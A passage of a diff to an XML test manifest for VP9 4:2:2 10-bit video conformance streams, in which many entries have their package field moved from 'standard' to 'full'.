-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163527,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163527,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163815,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163815,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163547,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163547,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163321,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163321,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164226,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164226,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163932,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163932,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163472,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163472,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=136808,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=136808,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164012,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164012,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163911,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163911,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163487,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163487,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163911,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163911,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163749,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163749,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163911,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163911,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159618,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159618,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159794,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159794,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163698,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163698,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163674,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163674,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163862,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163862,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164391,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164391,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164121,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164121,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163387,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163387,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163674,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163674,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163674,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163674,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164179,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164179,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=174371,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=174371,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=135536,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=135536,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169733,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169733,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_keyFrmOnly_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=757566,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=757566,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_lossless_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=41226151,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=6182052,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -31869,7 +31869,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=41226151,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2735754,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -31884,151 +31884,151 @@
     <value>mime=video/x-vnd.on2.vp9,size=1239525,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=373731,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=373731,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=161119,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=161119,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41360,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41360,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163541,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163541,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163425,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163425,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163910,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163910,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163473,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163473,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163492,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163492,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163734,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163734,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163378,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163378,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=136648,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=136648,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163936,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353036,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353036,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=352261,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=352261,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=355138,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x1.webm">
